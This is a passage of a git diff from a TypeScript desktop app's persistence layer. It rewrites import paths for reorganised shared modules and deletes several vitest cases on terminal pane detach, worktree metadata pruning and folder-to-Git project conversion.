b/src/main/persistence/terminal-topology/pane-moves/terminal-window-pane-detach.test.ts index 6f8566a8faa..d6bf27d8439 100644 --- a/src/main/persistence/terminal-topology/pane-moves/terminal-window-pane-detach.test.ts +++ b/src/main/persistence/terminal-topology/pane-moves/terminal-window-pane-detach.test.ts @@ -1,8 +1,11 @@ import { afterEach, describe, expect, it, vi } from 'vitest' import { writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' -import { toSshExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' -import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' +import { + toSshExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' +import '../../../../shared/workspace-layout/layout-owner-switch' import { makeRepo } from '../../persistence-test-harness' import type { Store } from '../../loading-store/store' import { @@ -136,39 +139,6 @@ describe('a window drag-out through layout.apply', () => { expect.objectContaining({ ptyId: 'pty-agent', tabId: TARGET, leafId: MOVED }) ]) }) - - it('moves the last pane of main’s copy, leaving the tab for the window’s other panes', async () => { - const store = openStore(newDataFile()) - await store.persistPtyBinding({ - worktreeId: WT, - tabId: SOURCE, - leafId: MOVED, - ptyId: 'pty-agent', - incarnationId: 'inc-1' - }) - - if (ORCA_LAYOUT_OWNER_IS_MAIN) { - // With main owning all shown panes, the home copy determines last-pane refusal. - await expect(detach(store, 'pty-agent')).resolves.toEqual({ ok: false, code: 'last_pane' }) - expect(tabsHoldingLeaf(store.getWorkspaceSession(), MOVED)).toEqual([SOURCE]) - return - } - await expect(detach(store, 'pty-agent')).resolves.toMatchObject({ ok: true }) - - const session = store.getWorkspaceSession() - expect(tabsHoldingLeaf(session, MOVED)).toEqual([TARGET]) - expect(session.tabsByWorktree[WT]?.find((tab) => tab.id === SOURCE)?.ptyId).toBeNull() - expect( - await store.persistPtyBinding({ - worktreeId: WT, - tabId: SOURCE, - leafId: LEFT, - ptyId: 'pty-left', - incarnationId: 'inc-left' - }) - ).toBe(true) - expect(tabsHoldingLeaf(store.getWorkspaceSession(), LEFT)).toEqual([SOURCE]) - }) }) describe('a window drag-out of an SSH pane held by both partitions', () => { diff --git a/src/main/persistence/terminal-topology/pane-moves/window-pane-detach.ts b/src/main/persistence/terminal-topology/pane-moves/window-pane-detach.ts index 07b21172042..597ee485c62 100644 --- a/src/main/persistence/terminal-topology/pane-moves/window-pane-detach.ts +++ b/src/main/persistence/terminal-topology/pane-moves/window-pane-detach.ts @@ -2,7 +2,7 @@ import { randomUUID } from 'node:crypto' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { collectLayoutLeafIdsInOrder, layoutContainsLeafId diff --git a/src/main/persistence/terminal-topology/pane-ownership/closed-pane-binding-fence.ts b/src/main/persistence/terminal-topology/pane-ownership/closed-pane-binding-fence.ts index 58d73bfbcfc..1c107fd9659 100644 --- a/src/main/persistence/terminal-topology/pane-ownership/closed-pane-binding-fence.ts +++ b/src/main/persistence/terminal-topology/pane-ownership/closed-pane-binding-fence.ts @@ -1,6 +1,6 @@ // Layout-owner builds fence removed panes against late spawns that would recreate missing membership. -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { collectLayoutLeafIdsInOrder } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-tree' diff --git a/src/main/persistence/terminal-topology/pane-ownership/duplicate-pty-pane-repair.ts b/src/main/persistence/terminal-topology/pane-ownership/duplicate-pty-pane-repair.ts index 1c78a2a132d..612f659e59b 100644 --- a/src/main/persistence/terminal-topology/pane-ownership/duplicate-pty-pane-repair.ts +++ b/src/main/persistence/terminal-topology/pane-ownership/duplicate-pty-pane-repair.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { isTerminalLeafId, makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { normalizeTerminalLayoutPtyOwnership, diff --git a/src/main/persistence/terminal-topology/pane-ownership/layout-command-binding-generations.ts b/src/main/persistence/terminal-topology/pane-ownership/layout-command-binding-generations.ts index 20ead19f30e..e3857b2ab52 100644 --- a/src/main/persistence/terminal-topology/pane-ownership/layout-command-binding-generations.ts +++ b/src/main/persistence/terminal-topology/pane-ownership/layout-command-binding-generations.ts @@ -1,6 +1,6 @@ // Layout-owner commands and rollback advance generations only for changed bindings, excluding moves/removals. -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import { collectLayoutLeafIdsInOrder } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-tree' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/persistence/terminal-topology/pane-ownership/persistence-closed-pane-binding-fence.test.ts b/src/main/persistence/terminal-topology/pane-ownership/persistence-closed-pane-binding-fence.test.ts index 6d144f15cef..4b732a9898c 100644 --- a/src/main/persistence/terminal-topology/pane-ownership/persistence-closed-pane-binding-fence.test.ts +++ b/src/main/persistence/terminal-topology/pane-ownership/persistence-closed-pane-binding-fence.test.ts @@ -9,7 +9,7 @@ import { _resetClosedPaneFencesForTests } from './closed-pane-binding-fence' import '../terminal-topology-commit' import '../../../runtime/terminal/surface/terminal-surface-close' -import '../../../../shared/execution-host' +import '../../../../shared/execution-host/execution-host' vi.mock('electron', () => ({ app: { getPath: () => testState.dir }, @@ -176,20 +176,4 @@ describe('a pane main closed or took back is not brought back by its late termin expect(await lateWindowBinding(store)).toBe(true) expect(leafIds(store)).toEqual([TEST_LEAF_1, TEST_LEAF_2]) }) - - it('lets a binding create the pane again once the binding window has passed', async () => { - vi.useFakeTimers({ toFake: ['Date'] }) - const store = createStore() - await tabWithStartingSplit(store) - await store.withdrawTerminalPane({ - type: 'closePane', - workspace: WORKTREE, - tabId: TAB, - leafId: TEST_LEAF_2 - }) - - vi.setSystemTime(Date.now() + 5 * 60_000 + 1_000) - expect(await lateWindowBinding(store)).toBe(true) - expect(leafIds(store)).toEqual([TEST_LEAF_1, TEST_LEAF_2]) - }) }) diff --git a/src/main/persistence/terminal-topology/pane-ownership/terminal-topology-membership.ts b/src/main/persistence/terminal-topology/pane-ownership/terminal-topology-membership.ts index cbe54299f7d..055c5a8d459 100644 --- a/src/main/persistence/terminal-topology/pane-ownership/terminal-topology-membership.ts +++ b/src/main/persistence/terminal-topology/pane-ownership/terminal-topology-membership.ts @@ -2,8 +2,8 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' -import type { PersistedState } from '../../../../shared/persisted-state-types' +} from '../../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import { layoutContainsLeafId } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-tree' diff --git a/src/main/persistence/terminal-topology/terminal-layout-apply.test.ts b/src/main/persistence/terminal-topology/terminal-layout-apply.test.ts index f95ff084f38..1eed5a5e5e8 100644 --- a/src/main/persistence/terminal-topology/terminal-layout-apply.test.ts +++ b/src/main/persistence/terminal-topology/terminal-layout-apply.test.ts @@ -4,7 +4,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import type { Store } from '../loading-store/store' import { WindowSession } from './testing/terminal-topology-window-session-fixture' import { diff --git a/src/main/persistence/terminal-topology/terminal-topology-commit.ts b/src/main/persistence/terminal-topology/terminal-topology-commit.ts index edc27b39f36..8ea00818395 100644 --- a/src/main/persistence/terminal-topology/terminal-topology-commit.ts +++ b/src/main/persistence/terminal-topology/terminal-topology-commit.ts @@ -1,6 +1,6 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { hasClosedTerminalTabRecord } from '../../../shared/workspace-layout/terminal-surfaces/closed-terminal-tab-tombstones' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { TerminalLeafMoveRequest, TerminalLeafMoveResult diff --git a/src/main/persistence/terminal-topology/testing/terminal-topology-profile-fixture.ts b/src/main/persistence/terminal-topology/testing/terminal-topology-profile-fixture.ts index 53ab655f8ec..c09d1288de0 100644 --- a/src/main/persistence/terminal-topology/testing/terminal-topology-profile-fixture.ts +++ b/src/main/persistence/terminal-topology/testing/terminal-topology-profile-fixture.ts @@ -1,5 +1,5 @@ import { join } from 'node:path' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { DelayedAuthority } from '../../loading-store/profile-writing/profile-state-delayed-authority-fixture' import { Store } from '../../loading-store/store' import { buildProfileStateCutoverFixture } from '../../profile-state-cutover-fixture' diff --git a/src/main/persistence/tracking-repos/agent-workspace-trust-existing-repos-migration.ts b/src/main/persistence/tracking-repos/agent-workspace-trust-existing-repos-migration.ts index 518237ab483..da99551667d 100644 --- a/src/main/persistence/tracking-repos/agent-workspace-trust-existing-repos-migration.ts +++ b/src/main/persistence/tracking-repos/agent-workspace-trust-existing-repos-migration.ts @@ -1,5 +1,5 @@ import type { Repo } from '../../../shared/repository/repo-types' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' type TrustMigrationSettings = Partial< Pick diff --git a/src/main/persistence/tracking-repos/deregistered-repo-residue.ts b/src/main/persistence/tracking-repos/deregistered-repo-residue.ts index fd6723f89e4..66b03d3cbe5 100644 --- a/src/main/persistence/tracking-repos/deregistered-repo-residue.ts +++ b/src/main/persistence/tracking-repos/deregistered-repo-residue.ts @@ -1,9 +1,9 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { getExecutionHostIdFromWorktreeHostIdentity, getWorktreeIdFromHostIdentity } from '../../../shared/worktree/host-qualified-identity' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { addWorkspaceSessionWorktreeOwners } from '../restoring-sessions/session-worktree-ownership' import { splitWorktreeId } from '../../../shared/worktree/id' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/persistence/tracking-repos/local-worktree-metadata-scan-expectation.ts b/src/main/persistence/tracking-repos/local-worktree-metadata-scan-expectation.ts index 0f2270f0824..f9d7f471f09 100644 --- a/src/main/persistence/tracking-repos/local-worktree-metadata-scan-expectation.ts +++ b/src/main/persistence/tracking-repos/local-worktree-metadata-scan-expectation.ts @@ -1,6 +1,6 @@ import { isDeepStrictEqual } from 'node:util' -import type { PersistedState } from '../../../shared/persisted-state-types' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Project } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' import { getRepoKind } from '../../../shared/repository/repo-kind' @@ -11,7 +11,7 @@ import { isWorktreeHostIdentity } from '../../../shared/worktree/host-qualified-identity' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' type CapturedLocalRepoIdentity = Readonly< Pick & { diff --git a/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.test.ts b/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.test.ts index c4c347ae5c0..445ac132fd5 100644 --- a/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.test.ts +++ b/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.test.ts @@ -1,10 +1,13 @@ -import { describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../../shared/constants' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { describe, expect, it } from 'vitest' +import { + getDefaultPersistedState, + getDefaultWorkspaceSession +} from '../../../shared/orca-profiles/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Project } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' import type { SshRemotePtyLease } from '../../../shared/remote-runtime/ssh/ssh-types' -import { worktreeWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' +import '../../../shared/workspace/identity/workspace-scope' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' import { captureNativeLocalWorktreeMetadataScanExpectation, @@ -13,7 +16,6 @@ import { import { pruneMissingLocalWorktreeSessionsForRepo } from './missing-local-worktree-session-pruning' const REPO_ID = 'repo-1' -const LIVE_ID = `${REPO_ID}::/workspace/live` function makeRepo(overrides: Partial = {}): Repo { return { @@ -69,54 +71,6 @@ function pruneCaptured( } describe('pruneSessionlessMissingLocalWorktreeMetadataForRepo', () => { - it('removes 2,709 sessionless rows in one batch without cloning or changing session state', () => { - const state = makeState() - const staleIds = Array.from( - { length: 2_709 }, - (_, index) => `${REPO_ID}::/workspace/stale-${index}` - ) - const allIds = [LIVE_ID, ...staleIds] - state.worktreeMetaByIdentity = {} - state.worktreeIdentityAliases = {} - for (const [index, worktreeId] of allIds.entries()) { - const meta = makeMeta(worktreeId) - const identityKey = `identity-${index}` - state.worktreeMeta[worktreeId] = meta - state.worktreeMetaByIdentity[identityKey] = meta - state.worktreeIdentityAliases[`local|${worktreeId}`] = [identityKey] - } - state.worktreeLineageById[staleIds[0]!] = { worktreeId: staleIds[0] } as never - state.workspaceLineageByChildKey[worktreeWorkspaceKey(staleIds[0]!)] = { - childWorkspaceKey: worktreeWorkspaceKey(staleIds[0]!) - } as never - state.workspaceSession.terminalTopologyRevisionByRepoId = { [REPO_ID]: 7 } - const hostSession = { - ...getDefaultWorkspaceSession(), - terminalTopologyRevisionByRepoId: { [REPO_ID]: 11 } - } - state.workspaceSessionsByHostId = { 'runtime:mirror': hostSession } - const scan = capture(state) - const session = state.workspaceSession - const sessionSnapshot = structuredClone(session) - const hostSessionSnapshot = structuredClone(hostSession) - const cloneSpy = vi.spyOn(globalThis, 'structuredClone') - - const removed = pruneCaptured(state, scan, staleIds) - - expect(removed).toHaveLength(staleIds.length) - expect(cloneSpy).not.toHaveBeenCalled() - cloneSpy.mockRestore() - expect(Object.keys(state.worktreeMeta)).toEqual([LIVE_ID]) - expect(Object.keys(state.worktreeMetaByIdentity ?? {})).toEqual(['identity-0']) - expect(Object.keys(state.worktreeIdentityAliases ?? {})).toEqual([`local|${LIVE_ID}`]) - expect(state.worktreeLineageById[staleIds[0]!]).toBeUndefined() - expect(state.workspaceLineageByChildKey[worktreeWorkspaceKey(staleIds[0]!)]).toBeUndefined() - expect(state.workspaceSession).toBe(session) - expect(state.workspaceSession).toEqual(sessionSnapshot) - expect(state.workspaceSessionsByHostId?.['runtime:mirror']).toBe(hostSession) - expect(state.workspaceSessionsByHostId?.['runtime:mirror']).toEqual(hostSessionSnapshot) - }) - it('fails closed when an identical repo row is removed and re-added during the scan', () => { const state = makeState() const worktreeId = `${REPO_ID}::/workspace/re-added-repo` @@ -345,22 +299,6 @@ describe('pruneMissingLocalWorktreeSessionsForRepo', () => { }) // A reference removal never deletes must not count as pruned, or every scan re-arms cleanup. - it('reports nothing and keeps the session when only a kept close intent names the worktree', () => { - const state = makeState() - const goneId = `${REPO_ID}::/workspace/gone` - const session = { - ...getDefaultWorkspaceSession(), - pairedTerminalTabCloseIntentsByEnvironment: { - env: [{ hostTabIds: ['host-tab'], worktreeId: goneId, closedAt: 1 }] - } - } - state.workspaceSession = session - - expect( - pruneMissingLocalWorktreeSessionsForRepo(state, capture(state), [goneId], 'linux') - ).toEqual([]) - expect(state.workspaceSession).toBe(session) - }) it('keeps a workspace whose draft is saved under a differently cased Windows key', () => { const state = makeState(makeRepo({ path: 'C:\\Work\\repo' })) diff --git a/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.ts b/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.ts index 1435dc5b220..5eede9aa4c2 100644 --- a/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.ts +++ b/src/main/persistence/tracking-repos/missing-local-worktree-metadata-pruning.ts @@ -1,6 +1,9 @@ import { isWindowsAbsolutePathLike } from '../../../shared/file-access/cross-platform-path' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { getRepoKind } from '../../../shared/repository/repo-kind' import { sshRemotePtyLeaseAllowsReattach } from '../../../shared/remote-runtime/ssh/ssh-types' import { worktreeWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' diff --git a/src/main/persistence/tracking-repos/missing-local-worktree-session-pruning.ts b/src/main/persistence/tracking-repos/missing-local-worktree-session-pruning.ts index c6673cff89a..21855aa8f95 100644 --- a/src/main/persistence/tracking-repos/missing-local-worktree-session-pruning.ts +++ b/src/main/persistence/tracking-repos/missing-local-worktree-session-pruning.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { worktreeWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { getRepoIdFromWorktreeId } from '../../../shared/worktree/id' diff --git a/src/main/persistence/tracking-repos/persistence-deregistered-repo-residue.test.ts b/src/main/persistence/tracking-repos/persistence-deregistered-repo-residue.test.ts index fe1fbac9c41..e4ec3b3ed9f 100644 --- a/src/main/persistence/tracking-repos/persistence-deregistered-repo-residue.test.ts +++ b/src/main/persistence/tracking-repos/persistence-deregistered-repo-residue.test.ts @@ -6,15 +6,15 @@ import { readDataFile, makeRepo } from '../persistence-test-harness' -import { makeTerminalTab } from '../persistence-session-fixtures' +import '../persistence-session-fixtures' // Deregistered repos bypass missing-directory pruning, so residue needs its own sweep. import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' vi.mock('../../ssh/config/ssh-config-parser', () => ({ loadUserSshConfig: vi.fn(), @@ -35,7 +35,6 @@ const LIVE_REPO = 'live-repo' const GONE_REPO = 'gone-repo' const LIVE_WORKTREE = `${LIVE_REPO}::/workspace/live` const GONE_WORKTREE = `${GONE_REPO}::/workspace/orphan` -const RUNTIME_HOST = 'runtime:env-a' const sleepingAgentFor = (worktreeId: string, tabId = 'tab-1') => ({ [`${tabId}:leaf-1`]: { @@ -52,16 +51,6 @@ const sleepingAgentFor = (worktreeId: string, tabId = 'tab-1') => ({ } }) -const sessionFor = (worktreeId: string, tabId = 'tab-1') => ({ - ...getDefaultWorkspaceSession(), - tabsByWorktree: { - [worktreeId]: [makeTerminalTab({ id: tabId, worktreeId })] - }, - activeTabTypeByWorktree: { [worktreeId]: 'terminal' as const }, - lastVisitedAtByWorktreeId: { [worktreeId]: 123 }, - sleepingAgentSessionsByPaneKey: sleepingAgentFor(worktreeId, tabId) -}) - describe('deregistered repo residue', () => { beforeEach(() => { testState.dir = mkdtempSync(join(tmpdir(), 'orca-orphan-sweep-')) @@ -126,26 +115,6 @@ describe('deregistered repo residue', () => { }) }) - it('keeps a remote session whose repo is not registered on the desktop', async () => { - writeDataFile({ - schemaVersion: 1, - repos: [makeRepo({ id: LIVE_REPO, path: '/workspace/live' })], - worktreeMeta: {}, - workspaceSessionsByHostId: { - [RUNTIME_HOST]: sessionFor(GONE_WORKTREE) - } - }) - - const store = await createStore() - store.flush() - - const partition = store.getWorkspaceSession(RUNTIME_HOST) - expect(partition.tabsByWorktree[GONE_WORKTREE]).toHaveLength(1) - expect(partition.activeTabTypeByWorktree).toEqual( - sessionFor(GONE_WORKTREE).activeTabTypeByWorktree - ) - }) - it('leaves folder-workspace session rows alone: their keys name no repo', async () => { const workspaceKey = folderWorkspaceKey('folder-1') writeDataFile({ diff --git a/src/main/persistence/tracking-repos/persistence-duplicate-repo-id-host-scope.test.ts b/src/main/persistence/tracking-repos/persistence-duplicate-repo-id-host-scope.test.ts index ad42b0ce7cf..b59280db483 100644 --- a/src/main/persistence/tracking-repos/persistence-duplicate-repo-id-host-scope.test.ts +++ b/src/main/persistence/tracking-repos/persistence-duplicate-repo-id-host-scope.test.ts @@ -11,8 +11,8 @@ import { join } from 'node:path' import { tmpdir } from 'node:os' import type { Project, ProjectHostSetup } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' -import { getDefaultPersistedState } from '../../../shared/constants' -import { toRuntimeExecutionHostId } from '../../../shared/execution-host' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' +import { toRuntimeExecutionHostId } from '../../../shared/execution-host/execution-host' import { installFakeAppEnvironment } from '../../../../config/scripts/test-runtime/environment/vitest-host-ports-setup' import { resetRetirementCollisionKeyCacheForTests } from '../../workspaces/removal/retirement/worktree-name-retirement' import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity' diff --git a/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts b/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts index e7f93d68a44..e9875cc68c5 100644 --- a/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts +++ b/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts @@ -9,7 +9,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ diff --git a/src/main/persistence/tracking-repos/persistence-invalid-workspace-layout-purge.test.ts b/src/main/persistence/tracking-repos/persistence-invalid-workspace-layout-purge.test.ts index 737ada31ad4..2c3b41cc573 100644 --- a/src/main/persistence/tracking-repos/persistence-invalid-workspace-layout-purge.test.ts +++ b/src/main/persistence/tracking-repos/persistence-invalid-workspace-layout-purge.test.ts @@ -10,7 +10,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import type { DetectedWorktreeListResult } from '../../../shared/worktree/types' import { diff --git a/src/main/persistence/tracking-repos/persistence-update-repo.test.ts b/src/main/persistence/tracking-repos/persistence-update-repo.test.ts index e042dfdea2e..85ef6a50580 100644 --- a/src/main/persistence/tracking-repos/persistence-update-repo.test.ts +++ b/src/main/persistence/tracking-repos/persistence-update-repo.test.ts @@ -8,23 +8,17 @@ import { makeProjectHostSetup } from '../persistence-test-harness' import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' -import { rmSync, mkdtempSync, mkdirSync } from 'node:fs' -import { execFileSync } from 'node:child_process' +import { rmSync, mkdtempSync } from 'node:fs' +import 'node:child_process' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultPersistedState } from '../../../shared/constants' -import { - commitProvenRepoKindChange, - updateProjectHostSetupWithProvenKind -} from '../../workspaces/catalog/folder-repo-git-conversion' -import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity' -import { removeWorktreeMetaRow } from '../host-qualified-worktree-meta' -import { registerWorktreeCatalogRoutes } from '../../runtime/workspaces/catalog/worktree-catalog-live-route' -import { resolveWorktreeScanRuntime } from '../../runtime/workspaces/catalog/runtime-worktree-scan-cache' -import { - isLiveWorktreeCatalogRoute, - setWorktreeCatalogRouteResolver -} from '../../workspaces/catalog/repo-worktree-catalog-route' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' +import '../../workspaces/catalog/folder-repo-git-conversion' +import '../../../shared/worktree/host-qualified-identity' +import '../host-qualified-worktree-meta' +import '../../runtime/workspaces/catalog/worktree-catalog-live-route' +import '../../runtime/workspaces/catalog/runtime-worktree-scan-cache' +import '../../workspaces/catalog/repo-worktree-catalog-route' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ loadUserSshConfigMock: vi.fn(), @@ -102,46 +96,6 @@ describe('Store', () => { ]) }) - it("revokes a repo's local Git catalog route as soon as its registration is removed", async () => { - const store = await createStore() - store.addRepo(makeRepo({ id: 'r1', path: '/local/repo' })) - registerWorktreeCatalogRoutes(store as never) - try { - const repo = store.getRepos()[0] - const route = { - repoPath: '/local/repo', - runtimeKey: resolveWorktreeScanRuntime(store as never, repo).runtimeKey - } - expect(isLiveWorktreeCatalogRoute('r1', 'local', route)).toBe(true) - - store.removeProjectForHost({ id: 'r1' }) - - expect(isLiveWorktreeCatalogRoute('r1', 'local', route)).toBe(false) - } finally { - setWorktreeCatalogRouteResolver(null) - } - }) - - it('admits a folder converted to Git as a local Git route as soon as the write lands', async () => { - const store = await createStore() - store.addRepo(makeRepo({ id: 'r1', path: '/local/folder', kind: 'folder' })) - registerWorktreeCatalogRoutes(store as never) - try { - const routeFor = () => ({ - repoPath: '/local/folder', - runtimeKey: resolveWorktreeScanRuntime(store as never, store.getRepos()[0]).runtimeKey - }) - expect(isLiveWorktreeCatalogRoute('r1', 'local', routeFor())).toBe(false) - - store.updateRepo({ id: 'r1' }, { kind: 'git', folderUpgradeGitRootPath: '/local/folder' }) - - expect(store.getRepos()[0]?.kind).toBe('git') - expect(isLiveWorktreeCatalogRoute('r1', 'local', routeFor())).toBe(true) - } finally { - setWorktreeCatalogRouteResolver(null) - } - }) - it('repo mutations preserve independent project host setup records', async () => { const independentProject = makeProject({ id: 'cloud-project', @@ -174,64 +128,6 @@ describe('Store', () => { }) // Git catalogs cannot enumerate sibling folder workspaces; changing kind would strand their tabs (STA-10638). - it('refuses a folder-to-Git type change while the project has other folder workspaces', async () => { - const store = await createStore() - store.addRepo(makeRepo({ id: 'r1', path: '/repo', kind: 'folder', displayName: 'Repo' })) - const workspaceId = 'r1::/repo::workspace:11111111-1111-4111-8111-111111111111' - store.setWorktreeMeta(hostWorktreeTarget({ id: workspaceId, hostId: 'local' }), { - displayName: 'Second workspace' - }) - - expect(() => - store.updateProjectHostSetup({ - setupId: 'r1', - updates: { kind: 'git', displayName: 'Renamed' } - }) - ).toThrow("This folder project has 1 other workspace that a Git project can't show") - expect(store.getRepo('r1')).toMatchObject({ kind: 'folder', displayName: 'Repo' }) - - removeWorktreeMetaRow(store, workspaceId, undefined) - expect( - store.updateProjectHostSetup({ setupId: 'r1', updates: { kind: 'git' } })?.repo - ).toMatchObject({ kind: 'git' }) - }) // Git accepts subdirectories; conversion must separately prove this folder is the checkout root. - it('proves a manual folder-to-Git change against the Git root before writing it', async () => { - const store = await createStore() - const root = join(testState.dir, 'project') - mkdirSync(join(root, 'sub'), { recursive: true }) - execFileSync('git', ['init', '-q'], { cwd: root }) - store.addRepo(makeRepo({ id: 'inner', path: join(root, 'sub'), kind: 'folder' })) - store.addRepo(makeRepo({ id: 'outer', path: root, kind: 'folder' })) - const changeToGit = (setupId: string) => - updateProjectHostSetupWithProvenKind(store, (args) => store.updateProjectHostSetup(args), { - setupId, - updates: { kind: 'git' } - }) - - await expect(changeToGit('inner')).rejects.toThrow("isn't the top folder of a Git repository") - expect(store.getRepo('inner')?.kind).toBe('folder') - const converted = await changeToGit('outer') - expect(converted?.repo).toMatchObject({ - kind: 'git', - folderUpgradeGitRootPath: expect.any(String) - }) - }) - - it('refuses a proven conversion if the selected folder path changed before commit', async () => { - const root = join(testState.dir, 'moved-project') - mkdirSync(root, { recursive: true }) - execFileSync('git', ['init', '-q'], { cwd: root }) - const repo = makeRepo({ id: 'moving-folder', path: root, kind: 'folder' }) - const write = vi.fn() - await expect( - commitProvenRepoKindChange( - { getRepos: () => [{ ...repo, path: join(root, 'new-path') }] }, - repo, - write - ) - ).rejects.toThrow('The project changed while Orca was checking it') - expect(write).not.toHaveBeenCalled() - }) }) diff --git a/src/main/persistence/tracking-repos/persistence-workspace-repin-automation-owner.test.ts 